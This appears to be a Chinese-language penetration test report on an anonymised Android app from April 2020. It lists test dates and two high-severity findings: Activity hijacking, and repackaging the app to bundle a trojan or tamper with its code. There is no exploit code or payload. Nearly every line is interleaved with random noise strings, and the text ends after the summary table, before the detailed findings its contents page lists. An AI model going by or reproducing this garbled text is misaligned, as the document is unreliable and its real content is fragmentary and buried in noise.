) y$ y7 [8 m: a7 T) |, \8 B- A" J g$ b& g( ]' O
8 [2 }" w3 \! S3 v
. O( W0 b5 K( z. E) _& b# q/ \ U, g3 G
' `: c2 H6 [$ C$ g0 J( @; Y
0 z# |! F& q! m+ A; i3 I+ U2 h. \. _
7 b7 X# ~0 \9 l$ u
, ? m2 ?; z! ], i8 h7 E S& } $ |, {0 ]7 Y/ z/ u- j- n F) `
1 Q. b2 v) g$ e
7 p6 A2 w, z- G+ G
+ m$ ^, f; y3 `5 V( L 文档编号:
: I" S' I b6 b$ X6 O, _: Q+ p
: C6 H+ Y8 M8 D: N, N! n
/ t/ H, W% \8 d: `% @4 h5 {8 |+ T8 [0 ]9 i5 D* r# J$ C9 |5 I1 ^
7 T4 x7 `7 @3 |) g5 D& W5 M
: B' G6 A# g4 R$ s2 p1 L0 P $ A1 g! V; z7 L2 q
7 a' [% N( R8 N; U, @) A+ |- g
+ E, z R' E! F
3 C+ z2 ^9 B- f. I. G7 x3 I7 l
( u e; s3 w7 e7 p! w- Z0 h! |# p2 W( o; m/ q7 v
2 L( ^ Z c b* V3 B8 {+ z& {: E- x1 x, G+ H9 f
$ ?, u7 \7 K$ t0 g7 j4 f) `2 o( j2 C8 j! g* A7 H; |, Q
1 T$ N1 F! r$ a4 R
% V" A, h. O. a9 @- z
% L* p/ a5 D) b# T' G: G3 L% T
9 v, {6 h- n- f x% n) I 7 H* h% T. k, X- O y9 }- |
1 b5 r t: C; y# \
, J9 E: M$ k) I) @8 u% e" Z
. o, q# L8 G s; N2 P8 Z1 z
3 @- Q+ Y q: p) U
1 C: i1 M# B3 X; F
& p {/ j. T0 T. t
9 ]0 L+ F p2 U# ^1 T$ W
0 E" |4 K# G1 d% v% \( J4 ?" K1 m/ c/ E
# _' s" q7 o. T$ n$ Q: L/ g2 l' d5 o
8 w3 ~* e. W4 w! j7 W
8 G* u) E# | ?1 Z6 J
# o. p6 M6 y4 Y ) F1 u( ^; m3 S/ V+ W" ?+ ?7 _
1 @! t p: D" v2 O ^' [ 某某某APP渗透测试 9 U3 W- O3 T4 p- L5 ?
& b4 F7 }8 {( a5 ~* C# s8 D2 B
+ S) n4 Y, H3 F) {: Z6 o- Z" I
2 N7 w8 Y; C( T, @
& F: `4 i# m# }% ~: E$ ]* L
4 \! _2 R2 N: j$ D6 F. ~4 r: E 1 A3 `3 y1 l- ~ Q4 A- h
1 V3 |2 ]6 T4 [! m
8 j& q3 D H9 R7 h$ d% M8 Q
" k5 T G3 J" G$ [; }3 t * | B( b3 g5 M' M0 O8 {2 N- G# ~
7 v- a. ~8 G/ d L6 r 6 I4 _9 Z X& D$ o
; Y1 w" f+ s3 N4 H2 a% Q
4 w0 d+ n2 |& B* p* W& S3 R) G, _6 T3 S- v; @% {0 s# W
& m8 [: q0 w" W: q
: [9 `8 Y( |( x
" A9 {3 S; I4 t+ C
; g* Z/ H* t$ y" S( y$ L; y
/ p. u7 a% |- T6 m
5 [: U6 S0 H1 p+ P
* N1 t/ |2 G3 C. Y6 ~3 W8 v, j0 I H d8 K! ^# m0 c' `
) `( a& F! `1 |1 t# v9 e) A" u
' \7 h3 l/ F4 e; E J# w, }; @3 e2 ~7 ~
! M; J2 L5 F- a0 h, b5 \' a$ k1 ^# j4 [: P+ A' a" c1 @
' X$ I3 q* p! a( ^7 U% F
- a# N# ?5 W2 a8 v' o6 O
技 术 报 告
' S5 m6 V$ r* b8 c5 ]' ^( s! Z0 ]8 W0 c$ o$ l8 s- k8 K, O
. l; _# Y7 X5 A4 b" F6 w) H Y& o3 u' @) ^, ~1 q( E2 `2 e: j
* O9 s4 U* R& y' ]/ A
- S# W2 I0 V. n
; u {% V4 o5 o& V- H1 t- M j
. a' u5 M4 G" B" B i. m1 m S
+ ]6 {6 o5 |0 r# Q
! v6 u' ^7 g$ R% s9 A 3 k% j; H2 G7 W* Y) B
$ w/ w$ c5 y, D3 q2 z 8 K0 X$ |0 C3 N$ s" p! u
1 ~/ {2 L/ `% H9 _, r
3 a6 b2 r" i4 i X2 M. |- A& }0 K
. q$ K. I8 j0 m7 L, q* k , `; @# \! j E" A, i; K* K' o
$ V5 ]' Y# Z! h1 {8 q* F+ T8 z; _
/ h- y& ~; l2 [% A% _2 U5 [3 K! T( ^( `% E. I/ d
; a$ N; X6 X9 |
& ~! D% b" a3 @9 L/ V+ Q8 Z$ z+ w
" U( F7 F _5 C; A8 E3 N# Z# O: Q& ]; g1 c
$ R' B5 O$ K' q. N% d6 @
7 z5 y; t) k* I/ w5 e6 b5 V
4 M# S( d5 d4 d% ~" B' v" c. p9 [; v9 W% |8 v+ n( j
q' V( J8 G1 R* q* @
, d0 G% F* Q% V) r g8 X" q/ x
, @6 P6 t# j6 S4 t' w: m
: G- ?- U4 v+ v- ~2 t: k- z / O4 X* C e) e* V! H7 X& F
6 c' O' |9 X: S; V/ y
$ K h6 G! t8 j) C+ D; N7 G
7 ^/ S1 w+ @$ S- S
, C& M8 w- f7 G1 T& {+ U1 e7 s8 N) u# |
5 ^' D7 c7 |6 u0 m
2 L9 S9 x0 n( c2 }
5 ^' X t. z. e# V+ ^( [: [) O0 C9 s/ E9 a- P1 J
X: @' R' ?. O- ]& Y: }3 q( h$ ?; y: ?- `2 c* a
( T% P) }: Y: M
' ~3 f3 K ?/ o
* u1 W, v3 T3 c! K) l, A8 X
! W/ c K+ T) }2 [) m" C# ]
4 {& o. {; W x- C1 V3 b0 E8 `8 x- M2 V! {- a; `1 E/ }, F
8 S9 {! h. ], T$ g3 M% | W- j
: x; x9 \+ X% J
0 @ K' |/ Y8 t" ?) |2 v7 ~6 @. T0 p
8 Q& q) l0 v5 f; J! w, _- L* w8 [) \* ~$ V3 |1 n8 A
8 S7 K/ e6 }% C( s H9 M J+ [8 S4 E. _! L4 c r+ \( A; O
( e. U; v3 s3 s+ P- A2 U, `) G
7 @( N- [1 U9 }" e) C- }% ` $ n: `! A, |% C8 ~" g, S; O" O. d
( r0 e( P r( f7 g7 K + U7 S; E' l9 X: e+ ~5 r1 l7 J4 ?6 n
3 z( Q5 t/ I+ L) V+ v5 q4 }$ V% D
+ C$ q9 i. |4 y1 G% U# F" G: S
6 a% l# |8 M+ S h1 X 5 S2 W2 W' ^7 L
/ d/ o1 S" c% m
5 @3 t# h7 F# q& |. {+ R
* }5 F0 }+ H0 `4 { & [. L) H9 J9 \' P% o
- F4 e6 ?* D0 A3 s: H
. Z& a" t8 Z4 A/ \
@: o/ D+ ~; @' D/ Q4 H4 j
! m6 L2 G; j8 c g
$ ^* D) g8 W5 a/ u. T9 p
% w4 i) c6 U+ m: s4 a, F" D- `# Z3 E% w5 S
% r! m4 E) q \; W+ F# l1 Q. o: |: p# @, T/ ?5 s# U6 {& I* B! S
" ], Z6 b2 v2 Y; J6 z* y% ?& ?" @
4 o2 P8 |# i. H
& z- O/ y5 R$ p
9 K) p& a1 }/ B$ p! r ' x& D3 Q5 j3 y8 h& t0 `
7 q+ d6 R1 k) l( H0 _6 q" Y
# Z+ X- g5 A( d6 `% p+ y$ {
- j' Q$ Y; d' \ % C( l. [, T% R, [% r
/ S0 E, C6 r& @
4 {: @- H0 m, X, ]8 |
/ X3 r5 @9 H/ `( u
4 I. Q& q8 L) A8 U/ K! T/ C# z" U: j8 N& U* S7 X
( J( E, o2 n3 Y: z/ Q% r; [' h3 } w3 |) O9 a& f& k; Z2 B
1 r! U& {+ L3 f' f7 `0 D
+ A) ^/ `7 |% @8 R. Q
/ H9 Q2 x) f, ^
" O4 G# @; \- v8 h4 @- @/ j 5 ^0 i3 U( y5 t
, g( ?2 \/ b! M% Z+ h! J- X 1 ?) n: F- G9 o% I* j5 {! V
?5 t' Q4 o$ c7 }
) o# G, t- k) D. K- A) p9 q u; c( o o; n( |0 B
- Y( r6 s" O3 e3 N0 \1 `
5 x) q" y n6 i2 u( l: J9 ^; o
4 P+ l! r1 l7 m& J- S2 ]' _
I P! z/ K2 T; W4 ` : w# S& v+ Q$ w
* z9 i; ?2 r0 D; x# i
4 ~: x' j+ Z5 c ]& Z# S+ p
% f( ~ X5 \5 u3 H 二〇二〇年 : h4 A7 j& E6 D ~) b. u7 ^* C
9 N, Z* s. G1 ]- w W
# v3 R4 n2 ?: C. {% L w) G Z
4 F; }) K$ M+ B+ {2 `$ l5 I
& A h- @ |, m. y) v1 m) s* y
7 [+ ], ?$ k. y
5 u( d7 t4 P1 l$ a6 Q/ a
, |" _ A; `9 {. u- O: O6 G0 W% V
( @; Z* n, ?' y" S3 H; `8 f. Z
- D+ ~+ e6 Z! P8 v, a
9 O( R7 l, [* P; b0 F0 ~" a 8 H+ j4 ]" q$ r+ T: }( W
9 [$ f3 x' B Z* f7 G, ?1 {) v& f
$ D8 G P- p: A' Q1 C- R
! \' w1 P2 U; f% l6 t 1 M8 \8 K0 ]& w2 n* G. O
" m6 \/ y$ B$ E8 B
8 t& @' Y/ C( Z4 c5 B+ @3 e, Q
, d$ s* k- V) c5 ?0 X
# a+ ^' D3 ]5 X" `2 s9 k4 v7 ?& |# f, d
目 录
& X3 M% S, C* V
1 p: _! u/ a, o( y5 u& ]6 D
6 `: ~2 g' s R# s7 M, P: k
& B# |+ C- m8 s7 A- H* ^
6 Z% H6 Q' H# i: e9 S6 B$ l! s! E( o v
$ p0 e! p9 N0 C5 N% z
1 I8 v; p2 |' C& d# V& j' B
* q* f$ d( E4 c+ Q B" I( N: G! a' _- ~& M: U2 k+ K: H) X
5 `9 _2 `+ ?: A7 |! J1 G/ m
0 N8 j" Y" r2 D) a9 ]% p& `9 w
d+ \* I6 {& f2 o; G3 y
: M) V/ t, j' t! V, ?4 h6 C$ ^
1 概述... 3
+ W. o1 E3 X4 M" r( A
5 l9 W$ b7 K( N- I; \* D ]. l + U. F1 [0 y; Z X3 L
; ~4 {% f: A+ t7 c, x: T" N7 B
7 e" A, `" o7 U/ y1 W/ x% p, t% _ T- `" C' T
1.2测试时间... 3 . `. Z( X0 U8 R7 O5 E; \& N
7 |& n. P" K8 ?& ]5 ]
/ L* N G! ? d) h2 K. S5 s, w d( u. ~4 s, a" Q, \
, A( O* c0 q% ?: v* B) O& N
# w- }$ p$ J+ m 1.3测试对象... 3
0 Q" q" c. m* i. v6 b8 z. g9 G% R* `% ^+ v
& @8 I8 C m8 F; ], p8 o4 q/ P, Y
* q7 s) |" f* X3 d& k
( n8 g! u+ e& C$ X6 r! Z# Q, Z, V7 | 1.4测试结果... 3
) G& q9 p+ D0 }$ R9 y7 r0 s, L8 s7 E5 |/ N: d% d
: ?# n' o$ B) Y) H9 |1 ]
7 t2 L; U# z' {0 B6 k ^$ m. i
, ]% X9 f1 K7 }7 U1 r p
3 w2 {/ u3 h R. r7 Q1 g 2 检测结果... 4 . Z7 z: w7 ?% h0 f5 r+ I. m
/ ^" X S. p( o5 N+ z1 }/ ^
+ c$ `+ }& r I6 [5 \
" p, s3 z) B+ S; Q; r+ \% m . d( [0 H; X9 ]
6 [$ X3 f1 J" O& `, i
2.1 某某某... 4
* h j; Q: Q4 I' @! A; {
; O! r: x" a- J9 L8 [# n! D
- }. o& m% Z2 v- j0 z; n% W5 U1 j1 F& n, ]$ w
" ~2 i3 b! T: {" ~/ i; S! H/ P) p7 k/ ^0 e& b
2.1.1检测目标... 4
P9 V. @: k# A6 P# O. X/ r9 C0 V5 Z$ y3 z9 Z& t) o7 G& ]% y
7 d. \, A+ M! w) C2 r7 R! U+ h
9 A! \4 |( P5 @ A
1 y; R3 R* S7 q3 [* X1 b" y; N; ^
2.1.2检测结果... 4 8 w/ ^! X6 Q* z' s- h
Y o! a# P* a0 u/ A _
9 q7 R0 d. R0 H7 F3 ]7 c% Q" K
2 J/ @: ]5 h" K1 d
8 n" H2 w3 n& u6 x* I
: W# s5 t+ G6 S, o8 i: J' P& t 2.1.2.1. 4 7 j7 v( n/ O4 w% g; k
) l6 M' `7 m3 {- @; Z * b+ o4 P1 K& y- o. Y9 @& u
$ f3 K7 e8 r# Z6 j
' I, ?( [ h9 x1 }! @" i
/ d. P+ I" l+ M8 M. ~( v
2.1.2.2. 6 4 _; @. z9 k: F% Y* E1 F
, D: k& a/ r9 X. O9 q. n
/ O$ q: g$ Y8 u) z
4 E5 a, O" V N8 K+ `1 K
* z- G$ E4 }/ |8 B; u' i4 ?8 C% t9 Y+ h/ p+ A4 G3 ^0 D
8 C* r4 u; e- s3 I: H7 Z0 k% I& {; J* s3 _- E( j/ G
2 x0 H E' e- H' E- |
0 w5 L' p4 ?& c4 z1 J2 O) K% k8 t- u
~# u1 W, @+ Z, ^! G
4 y# N) B/ d' \7 Q9 O
% t9 l9 N) V" ~" M& W% t3 K2 `. B% c7 X4 V5 i/ v+ E: m' v
* y* I5 Z+ v; I9 V( n% L
# K/ G0 t; \% ?; S& X N
8 ?; D( s" ]7 g2 y; c4 m0 m. R: b9 P N0 H
* p" S) t3 j/ R0 q( R, _
, O! W5 K+ M0 a- }+ C5 f 1 概述 % n3 ^# Y7 ~: h- c' u* p
0 m+ q% ?, `6 \0 b G' W8 F% x
6 h. Z+ y& b" j% H. f) N/ i
' i. B+ V; |0 a1 o
; ]2 q+ h# r, t8 C; _8 Z! s
4 k8 D/ g& m' x3 Q! [- R g' S, U 1.2测试时间 4 z5 k0 I7 _# ]5 X, g, o
5 A3 D6 L* y3 i6 v4 W N. ?
9 X) N) i2 u) q- d8 L; p7 s$ _* k
6 Z- Z$ ^" z0 v- P" s* @ + }$ d6 `! C- V& m+ E
5 ? p: n- j2 ^$ ]
" |# R6 w( }4 l4 C' T5 B" l9 K7 |4 M& D) P
+ J! w: U( c( |. }) I1 C2 ^9 m0 ]/ H9 G, M& E
5 N9 |9 W) k& q5 x, f
/ ~, k. Y1 a( l" g4 C! ~
; ~$ J- Y E+ A4 B0 f& ]$ A. p( `' a# W) o( V4 J
渗透测试时间 7 a& y1 |8 U6 Z+ m( Z6 h. H( w
5 N, v P" |, }% `! v- a& _
! D4 E- ~- U# i- b$ p5 @6 g. |8 o; H$ n; p, p% C
|
) @9 m) {! k* `6 ^* C0 B' [' A% X- t* Q0 q
2 D0 b; S1 l% I. c7 L) V; n# ?
8 P* e5 ?/ H$ n+ H
$ C! h; i9 D) V' b% O- R
* [3 U0 u8 d; |0 z
u7 Q* P1 A# f1 x" w9 F* l1 I$ v1 E# ~1 L. O2 U5 I$ r7 F
, r$ u3 b* t( z# k; U" G) I$ j4 y5 h* ^7 x
起始时间 - V7 ~7 s/ Q- M% k% m& l$ b
+ n& ~! ^3 `) [5 R0 B9 E
# F) A% T- [ ~' z
' x" w7 J D, y8 h | 3 u+ E, T2 a) l3 g8 z
* P# n+ S* `3 j" |; K
4 C2 c' ?& B8 n4 E c
8 Q3 `, k5 `8 \ r3 z o: ?" g 6 A' t8 ?, a& i. E* j
! v% @2 ~) c- g* P3 ^; _% F
2020年4月6日 $ E, u$ a& `) o b# R2 p
3 s O# c: q, D! S
' B9 b' v5 m/ J4 d$ {, Y6 m
; {7 m, n0 c, M5 b | / o- Z. \0 i: ]. T+ ^, D2 U4 W/ o/ L
) f( \: r% \- r# t* X/ b
. T0 j. J- M9 t$ L
" h3 I [! ^* d/ [9 W# u # q9 _' }: F5 p1 A4 c: k
& P0 S+ _- {& w% M8 r* x1 k& ]& j . V2 r1 p2 e, v. b5 V
6 U3 _* m3 Y& L! u
( k8 p2 r1 P- c) j) C, X/ }! G
, v* x% N' R& z; k/ `% D1 _' |' C0 T 结束时间
7 V3 @0 L3 _& Z/ g. [. e6 w& g0 [7 x1 `) L; l5 l
" B5 j# P! ~/ E8 H8 p8 u: e& \2 ?3 d [5 O# v* v; t/ c6 v" l$ F
|
1 h- V7 A' J4 B# X# L
r; g/ y7 |0 c7 S
& a+ V! O. ~, c. N9 Y: W4 S. {6 K$ ?$ ?. f4 ~
& Q3 @3 ]9 ~5 o; p, q
% y# ^- J7 t1 G+ A* @, K
2020年4月9日 * l8 b- t# m# X$ R: t$ D* `
5 e9 e2 ?9 ^( y2 E3 z
5 c% ]1 O! ~. V- M* h) F( d# \2 y+ E O1 x; L. f
|
1 V: T$ R1 F, E3 n' B& ~4 t# {# I& ?! ?, W% e" K' e
; X% D3 A* {* y) j
2 n5 T6 S+ e9 a: F7 m) ~5 h" c9 M4 d' n
6 ~8 s& M) f( }6 _+ J$ J- D+ `% {1 x+ v2 R
0 w2 z6 c) z- `$ R' d& H% H. j
5 }6 Z' C& G) Z- o" v5 W. j* T
& W+ R. {; ]" D: S; u1 a0 o2 S2 R1 s$ l# Y S5 l+ \- b6 v5 q+ O3 q
1.3测试对象
8 ]0 g. G% y& [/ |6 E! `8 d0 N' N# e" _5 U0 {8 n( |0 w F
- S* w" j- Y& r" x* c' x _5 h8 G
8 k2 _! o ^! y E. D
" Q: c. K. h4 a# }& ^# q
此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
$ X7 b; Y5 `6 _4 u" p2 X+ \) Y9 D i5 {6 \5 C
7 _+ t- a- u9 j' V. C* l3 Z; l( a' r- ] R
7 f7 ]; t2 I- W
2 e6 P9 ]: |& R" S& k 表1-1 检测对象
; N6 H5 c) X0 k; K6 y0 |9 ~- u. U- O8 m5 T2 Y+ L
% J$ Q5 {% o1 l, y
3 i7 `# ]' r' O+ U- Z4 o! j# E
) M! N9 z8 l; I
( i& ~! y+ s7 n4 M/ j # `' z/ ^) P% i
8 N6 {7 P5 A$ |1 ] * G8 y, v4 x; f- I
9 {4 i- K0 p7 ^. a \
+ f/ Y; }* C) k0 w+ F: U
. Y1 b& J' ?' Z + T/ I5 t2 p% N, z7 F& a8 I
6 P: {6 N( ?2 z7 {! r 序号 9 _; N5 J: [% X/ Y; U
6 W' Z& Z# Y) {7 ?
9 w; M% J! b- }$ [* d$ S
, P5 L1 e. d* ~/ U6 S% f/ N |
& A1 p% W1 S5 L$ P) m/ X2 K7 R0 @
! J" [7 [. y' [
/ f1 B7 B X) K$ K: ?
; u/ {% [ `% k : U" x% x/ Q) y2 O
1 x* `9 A$ D! M4 K& o, S3 u3 ~8 S$ m0 \
测试对象 ; d' D- r1 O9 M! L$ M9 x, I
2 ^6 ?1 c4 c# J+ ?' Y
! H( F% F2 H) }4 b A
7 ]/ p" V& l6 n1 ~% j9 V |
9 k. ~8 g% {4 P; W2 a2 T# h0 I: q& u! ^* G. h: X6 C8 a$ i
! k4 K, g: ]3 X6 u7 {2 D& ?5 k3 W1 o; Y/ y4 G
! N8 I* [& K* v% r# w$ |6 @% z0 ?0 f5 h n
" a) |7 C% j! N% z, E 测试地址 ; Z9 v# y, M- Z4 N/ F+ n7 Y5 s' j
% i) o9 i$ e% `1 j) _: @
* }/ d8 O$ M: g7 R y. ^7 Z2 Y
4 S2 ^/ U2 a/ I5 y+ W; b
| y; H/ R% L, F; m
0 b8 A0 f9 a. l" l+ x+ ]
) Q3 Y/ K7 _3 V5 I% W* L# E; A4 w# i$ w3 p
# F6 N7 Y7 k9 R# z/ i: k. y! p Y4 s3 X& Q
安全漏洞
+ C# D9 q) D- h3 s/ t7 F- H2 V2 X, y- g- j; S9 q# Z
$ e3 A& T+ H& u5 C0 w7 x2 p! q* K
/ C! \6 |1 m X# f, ?2 A t* ^ | ! A- A, Z+ o: p; ~0 v
: ?6 ^5 B; N( [2 _+ w, i9 H
) a: [* ?: }. p
! T# X7 \9 t" v; Y4 z
) w, ?( [* ?5 `9 S" B+ `: m3 @, f: u: r5 f, I6 ]- s
, c F* n% x8 M% c
, V, X* w5 A* h' J% w' \
& I" j8 j8 V4 A5 W* A. O/ w. B% j* A, V3 P+ R+ p7 [% s
1
0 Z; _- C$ E! E
# n, T3 p @8 B8 ^ % D! h: M8 Z: q9 o
+ }, ~3 Z1 v7 h9 V! t
| + ?( l3 Q. {- c' I/ g: H
+ s0 J- W- C0 R2 r; {
* q8 m: l# J9 h& x) j' r) h c$ P" O+ V# p7 c! F6 D
4 B, ^2 ]3 j3 G" k; x1 P# a% J
5 q8 ]2 f4 N# o 某某某安卓APP
2 j9 Z1 X2 z3 Z7 V+ q+ H- |' r- z9 I3 J/ u, b3 a
- u5 o4 ?; A. a4 Z2 i. u) J
# {2 _3 R: x/ M g' j; \" ^ |
: Y3 { M, u5 h9 s" `! a, X
8 v: @$ l; e, L8 H) c( e / W4 B; `% E6 `2 r
9 C2 D% Q+ I' i% _+ I _- K / N2 m) S- r* _ b
1 t' t& g. c5 R- a% \( [
" D, i" L4 X) q, p9 p9 K/ ^# v/ d
1 `: R- |4 }( C% W - {' q1 m1 t- B0 {3 v. x$ O9 A
. g" b0 a. O/ e+ p9 b* `/ v& E | 9 F9 j& n7 ]# t- C; r' g/ u$ l
: i- I6 k1 D# J u: R/ |! H
5 ?" k; G( A% Q, Z1 W% x
- `* z' E. H( b2 X0 z5 K U. ]
. j- X, [4 a' x0 x+ W1 ]3 Q& I$ A0 M5 U# d5 } t5 E6 W" e$ N" ~; q$ M
2 9 B- N) ^, A) O! |: E; |
' d2 G& F# F' M1 u1 }: `
6 N0 E1 Z" {9 b+ g6 P0 K( y
! A' A, a9 N% y6 |- w6 a! p |
- { M; o" U8 @% P7 A
, }& f1 Z1 {# K4 q( F" B5 a+ }
" @) D0 L: J; v. y
8 ^* \0 r' ~( f ' B. j, l9 `0 f# I
* }1 {! l2 S& A+ s' m
3 W4 M3 w: ?4 |! }, S
k$ b& D) d( ]4 Z
+ l# A4 Z1 ?8 k k9 {5 n; F
2 p+ h u) R T" ^/ c 1.4测试结果 * [- @" e' }0 x3 [6 z! r
: u0 o* Y4 @, | U2 y: f1 M
" O0 ~6 S6 Z+ G1 J4 ~8 A
+ x' r+ I" d& C * l8 m" C1 J3 s5 i
4 c! s+ N$ W9 o1 Q% i# G 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示: % ~( j5 Y" j) z4 q; T# l4 B
0 u( N/ @* w; a" @) O4 V
, ]+ v& |+ B0 V9 H X1 B; r7 }" @$ X9 ~" p1 ?) f) x, k4 ^
# q D% {* C, k& F
8 W* M) F; n6 t( t1 o
. h2 e: c9 n4 J9 M! C0 o0 z$ K& W# {$ _" M
& H5 H. z, Q6 J3 R0 D& y! Y
$ f+ A- \0 g$ d \: n
8 B# E4 Z* P: W# _5 n0 e$ x" H8 P' I; O7 M" D* f/ Y
1 j* A& o: l# [! r) B/ c8 ^" u5 ?% m& i7 x( u
8 l' W- Q$ }( \ _
$ u6 U9 J) o9 D9 u
4 p% B4 v1 \% X& D2 R* o' D3 J& v; @" X0 S5 t: ^0 S
3 ~. n: e$ z! a+ D$ O$ n4 b1 I' q( D- ^. b5 I' h
: t) F" L, c6 o5 j
$ [; c# t3 i" \5 a
序号 3 Q& U' F4 m9 f# Q
* c4 T5 B& n- R0 s" U" s
/ w5 U! K1 @0 V) n: _
& [/ J: |5 U) S3 B |
5 }9 B) Y! a8 ~7 o( a& {; q. i4 T0 }. v# l0 f. |
. d" E" @+ {$ C9 a- Z- l( L }
3 d4 p+ K, B9 J
R z* u2 j/ j
; t) L! `9 ^+ H0 J
系统名称
% I3 r5 [/ |* l1 b3 q" ]$ F9 R$ T$ l5 R' a+ N- K
0 c( k* s) @" k4 h2 I4 {
/ J; a5 ?) {; Q3 L |
+ ]- B% T- p! M% j) n) ^1 c8 }4 E. N6 X. k
9 Q( H" v& T& ~
: B: m. b# z* |0 d- e* H: [; F1 r % P2 f8 \1 a, C& o& r5 @- J
) x# q) u d! T
漏洞名称 - I# g( {! W- G7 D4 X, p' h
; B3 }6 z, C7 k
4 T# W, H) R* i; V1 H
% h ^( ], @9 E* u |
9 [$ ~8 w# W3 }/ k) e$ v" l4 T; ?. G
9 E+ C( w1 {! Q: G3 W6 l: W9 j
$ W& c+ ]( }6 T, Y" g( c! t" ^1 d- J
: D d$ {6 b9 U' L9 X6 J% f0 q! N, j
# J# e" o7 t% J5 E( t( b+ p U2 u% D1 C
漏洞危害 0 W/ V7 Q8 H) ^- a4 r4 |
5 a, |3 @ R) g0 h; e4 R3 W
1 F! a5 k& `. U% |8 z
8 O f/ Z/ V. Y" t7 |4 Y |
& d. C+ T6 \* e: \& H- a3 a3 A" ^$ L; H0 H6 |
) n+ u1 {. U; x! v( h+ Y6 r0 K% s9 Y6 ]9 _4 R u, Q
5 E& l1 ]) X! t
) }4 R# U% j- y8 R6 x! a
修复结果 0 R4 X! z" O+ U
% Y0 v4 z" A! p g4 o/ h
! {! O0 ?$ N+ j" y4 o
6 g1 t0 S) T8 o4 _' S/ r, A4 ], F |
0 M5 N8 _" @! i& r1 r% ]% @8 y7 d2 l9 Z/ g* N4 }; g
5 @8 X+ e9 M# i/ _$ G% B- R
! v& C5 T: x; S, z5 o4 _' U
% y5 y2 s) X& `' M5 L( ~
( \# V6 F" m5 p5 N/ _) O; O
2 P. G# d" [$ [5 F& u! n4 T
% l# u- G5 M/ o8 u/ X+ l
* G+ z2 `3 v$ \- d: t) v* ^0 D
/ h( Y# O+ o# X: }% z 1
, Q3 U4 u3 H. ] g5 x" D2 `, B4 ^8 l( Z# ?4 ?. }
' f% e* a3 s( V: g& ?% w, z7 V4 u- G; H: r
|
; F2 p" {8 F R9 q3 A
( e; r7 b3 l; c0 Z
( A6 J+ f9 s0 P: l* g
$ ~, Q. h) u4 R7 p " d( @/ Z" @- n# O; t3 v. O: k
) y3 e: W. _/ C+ @0 F$ o
某某某某某某APP
. y, U+ y, F' b8 M5 m; @% q* I' o- r. T- C
5 o7 t) p( c0 v4 O( I8 X# u7 a
& m3 I, f1 R! H, U2 e6 ~
|
$ w! ?, P$ {! Z+ f0 m) {
7 I" O+ N: P$ D7 [0 I0 ] 6 O* h2 F) Q" D' J
+ B2 [& ]) x' s9 r- A4 [
, N* F3 K- i/ z/ F2 G$ E+ X& k
h& Y# z1 T. Z: n
Activity 劫持
: j, i) M/ I5 g) A: Q- l7 S
7 y4 l. [2 _8 |" T; ] . Q! m4 M; F& t4 {# s% _1 a
& o% l9 A5 {. q0 t' l- V0 e
% V; y( j8 @! _9 K/ O7 f4 u! U
" [% r" y A+ V- @ - D" K- ~ D0 P* Y
: {. s4 h# W- y% p2 T/ p % U# T( E0 A( E. q4 D
4 h6 \, o& X+ _ | " S8 L" U6 L4 E% P* G
2 A `# {* A8 }0 w
. F: S- ?6 @) C8 A) Y( K
/ R* f# j0 m2 ]
* F' E W5 Y+ ?4 c& Y+ e
2 Z1 e3 |4 {. s( `- f w s 高
6 e) T' i7 S R8 G) n \
. R$ ^% y2 G# z {1 i( Z
0 F* {) w4 C& q- Z2 n. k% m2 `& |) @: H$ U' \- W
|
& q5 U# M7 D+ i" h9 a, e# G0 k
( z* _4 c/ G6 h4 R# i ) U+ J: b- A! M* R2 j
% E0 `/ L7 A" {: m. k2 g. B
% O" _; H5 ]. O0 T1 `; N
- w8 Y3 F7 X2 L7 R6 Z
[4 ^) }: V, {+ b' f, I: S8 k% K( Q3 A& i1 W% p
2 f2 T3 g! X, A. q5 O
6 o3 z) l, F9 R8 _% C | 0 V8 t& r" n. f/ p1 C# v5 z* n3 F
# @$ c" _, d; L
0 Z7 _$ T/ I6 ?" Z6 A& t% E& l5 S: k- }
) I( m1 S# O; U- v8 l( `# |" y& z- x3 a$ `) i
& k. O5 t/ e4 k
6 o% T) ]8 O6 V6 Z% ~ {% S7 s6 j) R" S: H
6 h+ P- _' |' R2 v3 ^ 2 6 o ~( ^ w% G* T. @/ x) d* H
6 U8 m; V" ?2 ^" J5 D7 Z! ]; a
# b, o( N+ w/ `- ~$ W
, G% R3 A9 K, Y1 d
| 7 y+ o, F! i8 P4 L& k% A' y/ q& U" I
" X M7 U3 p& m
, r) b8 e3 b- }9 G8 @( `6 t4 g
q( E( C2 \# Y1 H! |3 |+ C8 p
. _/ K. ]' L c: X, n5 y5 T2 j/ L5 l1 B$ P
某某某某某某APP
0 h) G7 }' {9 i5 x6 C5 q2 B7 t
( ?. b+ ^$ r9 R5 i F) ]
3 v1 \- t4 D, `; V9 o4 D/ _( C! `; T) n8 i. B O( w
| 3 e3 |- f. @' @8 q' f
3 P9 X, h6 A4 C% t5 w0 l
y8 F9 e. [' ^3 I
3 {' I; S+ O; `* d6 y
4 G8 ^2 B4 V$ l7 V$ |( A9 H8 {; p* y/ f* }
反编译二次打包捆绑木马、篡改APP代码 0 @. R) |1 O# n/ s
- F+ K2 x% Q! V, h( d) X% E {, e% h
! E7 n1 Q: O U' E. B/ E6 A9 V- ^. g
8 d7 R1 B8 j% [; L5 _9 l
|
' v9 m( T4 S% m7 ~" b/ A8 i) R6 C9 T, c# l% S3 H/ L; d$ A$ o
6 N1 B0 n7 K5 B$ b Z- u+ I7 E+ o/ h
# `8 M% O, S: D4 q6 b7 o; x
; V$ B+ d# t- s9 C! Q) l
高 8 Y* j3 g" F* c% D5 s' G& d
, ?- p! M$ I5 z, x - D1 |7 l* n# ~' J6 v
/ _) F% [* N N# y( K* x9 a: a. o0 r
| + w1 D, D) F. ~2 k8 t" I3 X) V
/ |2 b8 Q! C+ L) i: s
# [; q' C" j6 z% e7 {5 _! ?3 ]( `; T+ b! o
- p9 c. k0 B% k
! F: r; |, [! X( M, C5 d' Y $ j! m; T$ w* ?7 [9 z \
$ @7 `6 ~5 ~& @# M: I) Q0 n
" C% t( Q2 Q* ` S
+ H! F. ?( u$ W! r; }* { |
4 Z: C1 U/ A n) u x J' a
* k& F) M5 K2 v8 |
8 c+ I& h0 d5 x: a7 q0 g: O" J8 {! Q: i
! z Y% j7 r: _4 v+ C5 y/ P
Y5 D% Z3 ^* u7 H3 `" ` 9 D) F* c; k. J
' H9 ^9 I5 M. M7 G $ M$ d$ V+ p" b* \, U- j& }
5 S" b+ \3 Z5 v 2 m9 r; D1 D( E. ~6 ~
